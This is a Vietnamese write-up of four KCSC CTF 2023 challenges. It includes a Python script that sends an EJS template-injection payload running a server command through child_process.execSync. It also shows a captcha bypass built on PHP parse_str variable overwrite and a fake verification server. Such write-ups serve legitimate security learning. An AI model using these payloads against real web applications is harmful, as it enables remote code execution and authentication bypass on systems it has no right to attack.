KCSC CTF 2023

  1. valentine (stolen)

    • Source: valentine
    • Description:
      • Tổng quan về challenge thì đây là 1 trang web cho chúng ta nhập vào template và thực hiện xử lý template đó.
      • Thêm 1 hint của tác giả về challenge này là tác giả đã cho chúng ta 1 write up của 1 challenge tương tự như vậy. Nhưng với bải này của tác giả thì sẽ thực hiện filter khác với bài trong write up.
    • Solution:
      • Sau khi đọc write up khá là dài mà tác giả hint cho thì mình cũng hiểu được các làm của bài trong write up là sẽ sử dụng EJS custom delimiters để có thể bypass qua các bước check của bài để có thể gây ra lỗi SSTI được.
      • Với bài valentine thì chúng ta cũng có thể áp dụng được cách này một cách khá dễ dàng. Mình đã đọc bài viết ở đây và làm theo cách của bài viết thành công và có được flag.
    • Script:
      Đây là script mình solve challenge trên:
      ​​​​​​​​import requests
      
      ​​​​​​​​url = "https://valentine.kcsc.tf"
      
      ​​​​​​​​# cho thêm {{ name }} vì trong code có check xem template nhập vào có chứa chuỗi đó không
      ​​​​​​​​tmpl = """<.= global.process.mainModule.require('child_process').execSync('/readflag') .>{{ name }} """
      
      
      ​​​​​​​​data = {
      ​​​​​​​​    "tmpl": tmpl,
      ​​​​​​​​    "name": "5h4s1"
      ​​​​​​​​}
      ​​​​​​​​res = requests.post(url + "/template" , data=data, allow_redirects=False)
      
      ​​​​​​​​redirect = res.headers['location']
      
      ​​​​​​​​res = requests.get(url + redirect + "&delimiter=.")
      
      ​​​​​​​​print(res.text)
      
      
    • Flag: KCSC{https://www.youtube.com/watch?v=A5OLaBlQP9I}
  2. Bypass Captcha

    • Source: Bypass Captcha
    • Description:
      • Tổng quan về challenge đây là 1 website có chức năng nhập vào password và nếu nhập đúng, captcha hợp lệ thì sẽ có được flag
    • Solution:
      • Sau khi đọc 1 phần code thì ta sẽ hiểu về luồng cơ bản như sau:

      • Sau khi nhập password và submit -> server thực hiện check response captcha chúng ta truyền lên có đúng hay không, nếu đúng và thời gian xác thực captcha không quá 5 giây so với thời gian hiện tại, nếu qua thì check tiếp password, password đúng nữa sẽ có được flag

      • Đọc hết 1 lượt code thì nhận ra có dòng parse_str($_SERVER['QUERY_STRING']);

      • Đây là 1 phần rất lạ của bài này vì theo luồng check pass và captcha có liên quan gì đến QUERY_STRING đâu.

      • Tiếp tục focus vào đây và thấy rằng func parse_str nó sẽ được sử dụng để phân tích và trích xuất các tham số và giá trị tương ứng từ query string này và gán chúng vào các biến tương ứng trong phạm vi hiện tại.

      • Ví dụ cụ thể như:
        nếu URL có query string là name=John&age=30, thì khi sử dụng parse_str($_SERVER['QUERY_STRING']);, hai biến $name và $age sẽ được tạo ra và có giá trị tương ứng là "John" và 30.

      • Rồi đã biết lỗ hổng ở đây rồi. Có nghĩa là chúng ta sẽ thực hiện việc hàm parse_str extract query string ra thành các biến khác nhau (nếu các biến tồn tại nó sẽ thực hiện replace). Từ đó ta có ý tưởng là repace biến $passwd và truyền các giá trị theo ta mong muốn vào là được.

      • Nhưng không, nếu ta replace trên web sẽ không được vì captcha đã verify website rồi. Mà thực hiện gửi bằng script thì phải nhập response nhanh hơn 5s từ lúc gen ra response (phải tay to lắm mới send được).

      • Vì mình tay bé nên mình đã code ra 1 website trả về response success như khi gửi $SITE_VERIFY nhưng với thời gian thật lâu để có thể qua bước check.

      • Code file app.py:

        ​​​​​​​​​​​​from flask import Flask, jsonify
        
        ​​​​​​​​​​​​app = Flask(__name__)
        
        ​​​​​​​​​​​​@app.route('/', methods=['POST'])
        ​​​​​​​​​​​​def get_user():
        ​​​​​​​​​​​​    user = {
        ​​​​​​​​​​​​        "success": True,
        ​​​​​​​​​​​​        "challenge_ts": "2024-02-28T15:14:30.096Z",
        ​​​​​​​​​​​​        "hostname": "example.com",
        ​​​​​​​​​​​​        "error-codes": [],
        ​​​​​​​​​​​​        "action": "login",
        ​​​​​​​​​​​​        "cdata": "sessionid-123456789"
        ​​​​​​​​​​​​    }
        ​​​​​​​​​​​​    return jsonify(user)
        
        ​​​​​​​​​​​​if __name__ == '__main__':
        ​​​​​​​​​​​​    app.run()
        
        
      • Ok deloy con web này và cho nó public ra (mọi người có thể sử dụng ngrok, ở đây thằng bạn mình có VPS nên deloy lên đó luôn)

      • Như mình đã nói thì mình phải viết script để send payload lên vì nếu gửi trên web sẽ bị lỗi ngay.

      • file script.py:

        ​​​​​​​​​​​​import requests
        
        ​​​​​​​​​​​​url = "https://bypass-captcha.kcsc.tf/?PASSWD=1&SITE_VERIFY=10.10.10.10"
        ​​​​​​​​​​​​data = {
        ​​​​​​​​​​​​    "passwd":"1",
        ​​​​​​​​​​​​    "response":"5h4s1"
        ​​​​​​​​​​​​}
        ​​​​​​​​​​​​res = requests.post(url, data=data)
        
        ​​​​​​​​​​​​print(res.text)
        
        
        • Chạy script và lụm flag thôi
  3. Git Gud

    • Source: Git Gud
    • Description:
      • Unzip file tải về và ls -la thấy có folder .git. Ngonnnnnn có vẻ bài này tìm thông tin trên folder git này rồi.
    • Solution:
      • Thực hiện git log xem có thay đổi gì không
        Image Not Showing Possible Reasons
        • The image was uploaded to a note which you don't have access to
        • The note which the image was originally uploaded to has been deleted
        Learn More →
      • Có thấy xóa file rac.jpg.
      • Khôi phục lại xem sao nào
      • Image Not Showing Possible Reasons
        • The image was uploaded to a note which you don't have access to
        • The note which the image was originally uploaded to has been deleted
        Learn More →
      • Lụm ngay flag: KCSC{G1t_h1st0Ry_d1v1n9}
  4. Discord check

    • Description:
      • Đúng như đầu bài
      • Check discord đê
    • Solution:
      • Có ngay flag: KCSC{KCSC_CTF_D1sc0rd_ch3cK3r}
        Image Not Showing Possible Reasons
        • The image was uploaded to a note which you don't have access to
        • The note which the image was originally uploaded to has been deleted
        Learn More →
Trên đây là các bài mình làm được trong thời gian giải diễn ra. Vì thời gian viết writeup khá gấp nên viết hơi sơ sài. Mọi người thông cảm. Và nếu rảnh mình sẽ update thêm mấy bài web mình chưa giải trong thời gian giải diễn ra nữa !!!
tags: KCSC-CTF-2023 CTF